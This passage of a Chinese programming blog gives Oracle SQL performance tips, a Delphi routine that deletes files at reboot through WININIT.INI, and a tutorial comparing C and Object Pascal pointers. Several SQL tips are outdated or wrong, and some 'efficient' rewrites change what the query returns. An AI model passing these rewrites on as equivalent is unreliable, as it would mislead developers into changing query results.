AND BUFFER_GETS > 0
AND (BUFFER_GETS-DISK_READS)/BUFFER_GETS < 0.8
ORDER BY 4 DESC;

17) 用索引提高效率:
索引是表的一个概念部分,用来提高检索数据的效率,ORACLE 使用了一个复杂的自平衡B-tr
ee 结构. 通常,通过索引查询数据比全表扫描要快. 当ORACLE 找出执行查询和Update 语句
的最佳路径时, ORACLE 优化器将使用索引. 同样在联结多个表时使用索引也可以提高效率.
另一个使用索引的好处是,它提供了主键(primary key)的唯一性验证.。那些LONG 或LONG
RAW 数据类型, 你可以索引几乎所有的列. 通常, 在大型表中使用索引特别有效. 当然,
你也会发现, 在扫描小表时,使用索引同样能提高效率. 虽然使用索引能得到查询效率的提
高,但是我们也必须注意到它的代价. 索引需要空间来存储,也需要定期维护, 每当有记录
在表中增减或索引列被修改时, 索引本身也会被修改. 这意味着每条记录的INSERT , DEL
ETE , UPDATE 将为此多付出4 , 5 次的磁盘I/O . 因为索引需要额外的存储空间和处理,
那些不必要的索引反而会使查询反应时间变慢.。定期的重构索引是有必要的.:
ALTER INDEX <INDEXNAME> REBUILD <TABLESPACENAME>

18) 用EXISTS 替换DISTINCT:
当提交一个包含一对多表信息(比如部门表和雇员表)的查询时,避免在SELECT 子句中使用D
ISTINCT. 一般可以考虑用EXIST 替换, EXISTS 使查询更为迅速,因为RDBMS 核心模块将在
子查询的条件一旦满足后,立刻返回结果. 例子:
(低效):
SELECT DISTINCT DEPT_NO,DEPT_NAME FROM DEPT D , EMP E
WHERE D.DEPT_NO = E.DEPT_NO
(高效):
SELECT DEPT_NO,DEPT_NAME FROM DEPT D WHERE EXISTS ( SELECT ‘X'
FROM EMP E WHERE E.DEPT_NO = D.DEPT_NO);

(19) sql 语句用大写的;因为oracle 总是先解析sql 语句,把小写的字母转换成大写的
再执行

(20) 在java 代码中尽量少用连接符“+”连接字符串!

(21) 避免在索引列上使用NOT 通常,
我们要避免在索引列上使用NOT, NOT 会产生在和在索引列上使用函数相同的影响. 当ORAC
LE”遇到”NOT,他就会停止使用索引转而执行全表扫描.

(22) 避免在索引列上使用计算.
WHERE 子句中,如果索引列是函数的一部分.优化器将不使用索引而使用全表扫描.
举例:
低效:
SELECT … FROM DEPT WHERE SAL * 12 > 25000;
高效:
SELECT … FROM DEPT WHERE SAL > 25000/12;

(23) 用>=替代>
高效:
SELECT * FROM EMP WHERE DEPTNO >=4
低效:
SELECT * FROM EMP WHERE DEPTNO >3
两者的区别在于, 前者DBMS 将直接跳到第一个DEPT 等于4的记录而后者将首先定位到DEPT
NO=3的记录并且向前扫描到第一个DEPT 大于3的记录.

(24) 用UNION 替换OR (适用于索引列)
通常情况下, 用UNION 替换WHERE 子句中的OR 将会起到较好的效果. 对索引列使用OR 将造
成全表扫描. 注意, 以上规则只针对多个索引列有效. 如果有column 没有被索引, 查询效
率可能会因为你没有选择OR 而降低. 在下面的例子中, LOC_ID 和REGION 上都建有索引.
高效:
SELECT LOC_ID , LOC_DESC , REGION
FROM LOCATION
WHERE LOC_ID = 10
UNION
SELECT LOC_ID , LOC_DESC , REGION
FROM LOCATION
WHERE REGION = “MELBOURNE”
低效:
SELECT LOC_ID , LOC_DESC , REGION
FROM LOCATION
WHERE LOC_ID = 10 OR REGION = “MELBOURNE”
如果你坚持要用OR, 那就需要返回记录最少的索引列写在最前面.

(25) 用IN 来替换OR
这是一条简单易记的规则,但是实际的执行效果还须检验,在ORACLE8i 下,两者的执行路
径似乎是相同的.
低效:
SELECT…. FROM LOCATION WHERE LOC_ID = 10 OR LOC_ID = 20 OR LOC_ID = 30
高效
SELECT… FROM LOCATION WHERE LOC_IN IN (10,20,30);

(26) 避免在索引列上使用IS NULL 和IS NOT NULL
避免在索引中使用任何可以为空的列,ORACLE 将无法使用该索引.对于单列索引,如果列
包含空值,索引中将不存在此记录. 对于复合索引,如果每个列都为空,索引中同样不存在
此记录. 如果至少有一个列不为空,则记录存在于索引中.举例: 如果唯一性索引建立在
表的A 列和B 列上, 并且表中存在一条记录的A,B 值为(123,null) , ORACLE 将不接受下一
条具有相同A,B 值(123,null)的记录(插入). 然而如果所有的索引列都为空,ORACLE 将
认为整个键值为空而空不等于空. 因此你可以插入1000 条具有相同键值的记录,当然它们
都是空! 因为空值不存在于索引列中,所以WHERE 子句中对索引列进行空值比较将使ORACLE
停用该索引.
低效: (索引失效)
SELECT … FROM DEPARTMENT WHERE DEPT_CODE IS NOT NULL;
高效: (索引有效)
SELECT … FROM DEPARTMENT WHERE DEPT_CODE >=0;

(27) 总是使用索引的第一个列:
如果索引是建立在多个列上, 只有在它的第一个列(leading column)被where 子句引用时,
优化器才会选择使用该索引. 这也是一条简单而重要的规则,当仅引用索引的第二个列时,
优化器使用了全表扫描而忽略了索引

28) 用UNION-ALL 替换UNION ( 如果有可能的话):
当SQL 语句需要UNION 两个查询结果集合时,这两个结果集合会以UNION-ALL 的方式被合
并, 然后在输出最终结果前进行排序. 如果用UNION ALL 替代UNION, 这样排序就不是必要
了. 效率就会因此得到提高. 需要注意的是,UNION ALL 将重复输出两个结果集合中相同记
录. 因此各位还是要从业务需求分析使用UNION ALL 的可行性. UNION 将对结果集合排序,
这个操作会使用到SORT_AREA_SIZE 这块内存. 对于这块内存的优化也是相当重要的. 下面
的SQL 可以用来查询排序的消耗量
低效:
SELECT ACCT_NUM, BALANCE_AMT
FROM DEBIT_TRANSACTIONS
WHERE TRAN_DATE = '31-DEC-95'
UNION
SELECT ACCT_NUM, BALANCE_AMT
FROM DEBIT_TRANSACTIONS
WHERE TRAN_DATE = '31-DEC-95'
高效:
SELECT ACCT_NUM, BALANCE_AMT
FROM DEBIT_TRANSACTIONS
WHERE TRAN_DATE = '31-DEC-95'
UNION ALL
SELECT ACCT_NUM, BALANCE_AMT
FROM DEBIT_TRANSACTIONS
WHERE TRAN_DATE = '31-DEC-95'

(29) 用WHERE 替代ORDER BY:
ORDER BY 子句只在两种严格的条件下使用索引.
ORDER BY 中所有的列必须包含在相同的索引中并保持在索引中的排列顺序.
ORDER BY 中所有的列必须定义为非空.
WHERE 子句使用的索引和ORDER BY 子句中所使用的索引不能并列.
例如:
表DEPT 包含以下列:
DEPT_CODE PK NOT NULL
DEPT_DESC NOT NULL
DEPT_TYPE NULL
低效: (索引不被使用)
SELECT DEPT_CODE FROM DEPT ORDER BY DEPT_TYPE
高效: (使用索引)
SELECT DEPT_CODE FROM DEPT WHERE DEPT_TYPE > 0

(30) 避免改变索引列的类型.:
当比较不同数据类型的数据时, ORACLE 自动对列进行简单的类型转换.
假设EMPNO 是一个数值类型的索引列.
SELECT … FROM EMP WHERE EMPNO = ‘123'
实际上,经过ORACLE 类型转换, 语句转化为:
SELECT … FROM EMP WHERE EMPNO = TO_NUMBER(‘123')
幸运的是,类型转换没有发生在索引列上,索引的用途没有被改变.
现在,假设EMP_TYPE 是一个字符类型的索引列.
SELECT … FROM EMP WHERE EMP_TYPE = 123
这个语句被ORACLE 转换为:
SELECT … FROM EMP WHERETO_NUMBER(EMP_TYPE)=123
因为内部发生的类型转换, 这个索引将不会被用到! 为了避免ORACLE 对你的SQL 进行隐式
的类型转换, 最好把类型转换用显式表现出来. 注意当字符和数值比较时, ORACLE 会优先
转换数值类型到字符类型

(31) 需要当心的WHERE 子句:
某些SELECT 语句中的WHERE 子句不使用索引. 这里有一些例子.
在下面的例子里, (1)‘!=' 将不使用索引. 记住, 索引只能告诉你什么存在于表中, 而不
能告诉你什么不存在于表中. (2) ‘||'是字符连接函数. 就象其他函数那样, 停用了索引.
(3) ‘+'是数学函数. 就象其他数学函数那样, 停用了索引. (4)相同的索引列不能互相
比较,这将会启用全表扫描.

(32) a. 如果检索数据量超过30%的表中记录数.使用索引将没有显著的效率提高.
b. 在特定情况下, 使用索引也许会比全表扫描慢, 但这是同一个数量级上的区别. 而通常
情况下,使用索引比全表扫描要块几倍乃至几千倍!

(33) 避免使用耗费资源的操作:
带有DISTINCT,UNION,MINUS,INTERSECT,ORDER BY 的SQL 语句会启动SQL 引擎
执行耗费资源的排序(SORT)功能. DISTINCT 需要一次排序操作, 而其他的至少需要执行两
次排序. 通常, 带有UNION, MINUS , INTERSECT 的SQL 语句都可以用其他方式重写. 如果
你的数据库的SORT_AREA_SIZE 调配得好, 使用UNION , MINUS, INTERSECT 也是可以考虑
的, 毕竟它们的可读性很强

(34) 优化GROUP BY:
提高GROUP BY 语句的效率, 可以通过将不需要的记录在GROUP BY 之前过滤掉.下面两个
查询返回相同结果但第二个明显就快了许多.
低效:
SELECT JOB , AVG(SAL)
FROM EMP
GROUP by JOB
HAVING JOB = ‘PRESIDENT'
OR JOB = ‘MANAGER'
高效:
SELECT JOB , AVG(SAL)
FROM EMP
WHERE JOB = ‘PRESIDENT'
OR JOB = ‘MANAGER'
GROUP by JOB

---
本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-04 15:01 cpploverr 阅读(178) | 评论 (0)编辑 收藏

删除或重命名正在打开的文件

删除或重命名正在打开的文件

Windows NT中有一个函数MoveFileEx,若使用MOVEFILE_DELAY_UNTIL_REBOOT 标记,它可以在重启过程中删除文件。但是,Windows 9x 并不支持这个标记。怎么办呢?

每次当你重启,windows会在Windows目录下寻找文件WININIT.INI。这个文件包含删除/复制/重命名文件的命令,它可以在任何东西(实际上是决大部分)被载入前运行。你可以在[Rename]部分里使用语法 目标文件=原文件。如果目标文件为NUL,则文件将被删除。文件名和路径必须是短文件名(因为这个过程运行于长文件名支持程序载入之前)。

注意文件win32.hlp与这个例子相反,你不可以使用WritePrivateProfileString()或TiniFile访问这个文件,可能由于它有副本值。若它有空值,TiniFile会覆盖它而不是新建一个,所以你最好使用TstringList代替。

以下是一些输入项:

[rename]
NUL=C:\TEMP.TXT
NUL=C:\TEMP2.TXT
C:\NEW_DIR\EXISTING.TXT=C:\EXISTING.TXT
C:\NEW_DIR\NEWNAME.TXT=C:\OLDNAME.TXT
C:\EXISTING.TXT=C:\TEMP\NEWFILE.TXT

以下是函数DeleteLater,它会往wininit.ini里添加NUL=文件名,若wininit.ini不存在,则创建一个,也可以创建[rename]部分。

procedure DeleteLater(Filename: string);
var
  Wininit: string;
  Buffer: array[0..MAX_PATH] Of char;
  I, J: integer;
  Ini: TStringList;
begin
  FillChar(Buffer, SizeOf(Buffer), 0);
  GetWindowsDirectory(Buffer, SizeOf(Buffer));
  Wininit := IncludeTrailingBackslash(Buffer) + 'Wininit.ini';

  Ini := TStringList.Create;
  try
    if FileExists(Wininit) then
      Ini.LoadFromFile(Wininit);
    for I := 0 to Ini.Count - 1 do
      Ini[I] := Uppercase(Ini[I]);

    J := Ini.IndexOf('[RENAME]');
    if J = -1 then
    begin
      Ini.Add('[Rename]');
      J := 0;
    end;
    FillChar(Buffer, SizeOf(Buffer), 0);
    GetShortPathName(PChar(Filename), Buffer, SizeOf(Buffer));
    Ini.Insert(J + 1, 'NUL=' + Buffer);
    Ini.SaveToFile(Wininit);
  finally
    Ini.Free;
  end;
end;

---
本文章使用“国华软件”出品的博客内容管理软件MultiBlogWriter撰写并发布

posted @ 2010-01-02 18:18 cpploverr 阅读(585) | 评论 (0)编辑 收藏

DELPHI如何使用指针?

  DELPHI如何使用指针?

大家都认为,C语言之所以强大,以及其自由性,很大部分体 现在其灵活的指针运用上。因此,说指针是C语言的灵魂,一点都不为过。同时,这种说法也让很多人产生误解,似乎只有C语言的指针才能算指针。Basic不 支持指针,在此不论。其实,Pascal语言本身也是支持指针的。从最初的Pascal发展至今的Object Pascal,可以说在指针运用上,丝毫不会逊色于C语言的指针。
以下内容分为八部分,分别是
一、类型指针的定义
二、无类型指针的定义
三、指针的解除引用
四、取地址(指针赋值)
五、指针运算
六、动态内存分配
七、字符数组的运算
八、函数指针
一、类型指针的定义。对于指向特定类型的指针,在C中是这样定义的:
int *ptr;
char *ptr;
与之等价的Object Pascal是如何定义的呢?
var
ptr : ^Integer;
ptr : ^char;
其实也就是符号的差别而已。
二、无类型指针的定义。C中有void *类型,也就是可以指向任何类型数据的指针。Object Pascal为其定义了一个专门的类型:Pointer。于是,
ptr : Pointer;
就与C中的
void *ptr;
等价了。
三、指针的解除引用。要解除指针引用(即取出指针所指区域的值),C 的语法是 (*ptr),Object Pascal则是 ptr^。
四、取地址(指针赋值)。取某对象的地址并将其赋值给指针变量,C 的语法是
ptr = &Object;
Object Pascal 则是
ptr := @Object;
也只是符号的差别而已。
五、指针运算。在C中,可以对指针进行移动的运算,如:
char a[20];
char *ptr=a;
ptr++;
ptr+=2;
当执行ptr++;时,编译器会产生让ptr前进sizeof(char)步长的代码,之后,ptr将指向a[1]。ptr+=2;这句使得ptr前进两个sizeof(char)大小的步长。同样,我们来看一下Object Pascal中如何实现:
var
a : array [1..20] of Char;
ptr : PChar; //PChar 可以看作 ^Char
begin
ptr := @a;
Inc(ptr); // 这句等价于 C 的 ptr++;
Inc(ptr, 2); //这句等价于 C 的 ptr+=2;
end;
只是,Pascal中,只允许对有类型的指针进行这样的运算,对于无类型指针是不行的。
六、动态内存分配。C中,使用malloc()库函数分配内存,free()函数释放内存。如这样的代码:
int *ptr, *ptr2;
int i;
ptr = (int*) malloc(sizeof(int) * 20);
ptr2 = ptr;
for (i=0; i<20; i++){
*ptr = i;
ptr++;
}
free(ptr2);
Object Pascal中,动态分配内存的函数是GetMem(),与之对应的释放函数为FreeMem()(传统Pascal中获取内存的函数是New()和 Dispose(),但New()只能获得对象的单个实体的内存大小,无法取得连续的存放多个对象的内存块)。因此,与上面那段C的代码等价的 Object Pascal的代码为:
var ptr, ptr2 : ^integer;
i : integer;
begin
GetMem(ptr, sizeof(integer) * 20);
//这句等价于C的 ptr = (int*) malloc(sizeof(int) * 20);
ptr2 := ptr; //保留原始指针位置
for i := 0 to 19 do
begin
ptr^ := i;
Inc(ptr);
end;
FreeMem(ptr2);
end;
对于以上这个例子(无论是C版本的,还是Object Pascal版本的),都要注意一个问题,就是分配内存的单位是字节(BYTE),因此在使用GetMem时,其第二个参数如果想当然的写成 20,那么就会出问题了(内存访问越界)。因为GetMem(ptr, 20);实际只分配了20个字节的内存空间,而一个整形的大小是四个字节,那么访问第五个之后的所有元素都是非法的了(对于malloc()的参数同 样)。
七、字符数组的运算。C语言中,是没有字符串类型的,因此,字符串都是用字符数组来实现,于是也有一套str打头的库函数以进行字符数组的运算,如以下代码:
char str[15];
char *pstr;
strcpy(str, "teststr");
strcat(str, "_testok");
pstr = (char*) malloc(sizeof(char) * 15);
strcpy(pstr, str);
printf(pstr);
free(pstr);
而在Object Pascal中,有了String类型,因此可以很方便的对字符串进行各种运算。但是,有时我们的Pascal代码需要与C的代码交互(比如:用 Object Pascal的代码调用C写的DLL或者用Object Pascal写的DLL准备允许用C写客户端的代码)的话,就不能使用String类型了,而必须使用两种语言通用的字符数组。其实,Object Pascal提供了完全相似C的一整套字符数组的运算函数,以上那段代码的Object Pascal版本是这样的:
var str : array [1..15] of char;
pstr : PChar; //Pchar 也就是 ^Char
begin
StrCopy(@str, 'teststr'); //在C中,数组的名称可以直接作为数组首地址指针来用
//但Pascal不是这样的,因此 str前要加上取地址的运算符
StrCat(@str, '_testok');
GetMem(pstr, sizeof(char) * 15);
StrCopy(pstr, @str);
Write(pstr);
FreeMem(pstr);
end;
八、函数指针。在动态调用DLL中的函数时,就会用到函数指针。假设用C写的一段代码如下:
typedef int (*PVFN)(int); //定义函数指针类型
int main()
{
HMODULE hModule = LoadLibrary("test.dll");
PVFN pvfn = NULL;
pvfn = (PVFN) GetProcAddress(hModule, "Function1");
pvfn(2);
FreeLibrary(hModule);
}
就我个人感觉来说,C语言中定义函数指针类型的typedef代码的语法有些晦涩,而同样的代码在Object Pascal中却非常易懂:
type PVFN = Function (para : Integer) : Integer;
var
fn : PVFN;
//也可以直接在此处定义,如:fn : function (para:Integer):Integer;
hm : HMODULE;
begin
hm := LoadLibrary('test.dll');
fn := GetProcAddress(hm, 'Function1');
fn(2);
FreeLibrary(hm);
end;

 

 

---
本文章使用博客内容管理MyBlogWriter发布

posted @ 2009-12-31 01:44 cpploverr 阅读(179) | 评论 (0)编辑 收藏

博客申请成功

博客申请成功,祝贺一下。

千里之行始于足下!

---
本文章使用博客内容管理MyBlogWriter发布

posted @ 2009-12-31 01:43 cpploverr 阅读(52) | 评论 (0)编辑 收藏

仅列出标题
共3页: 1 2 3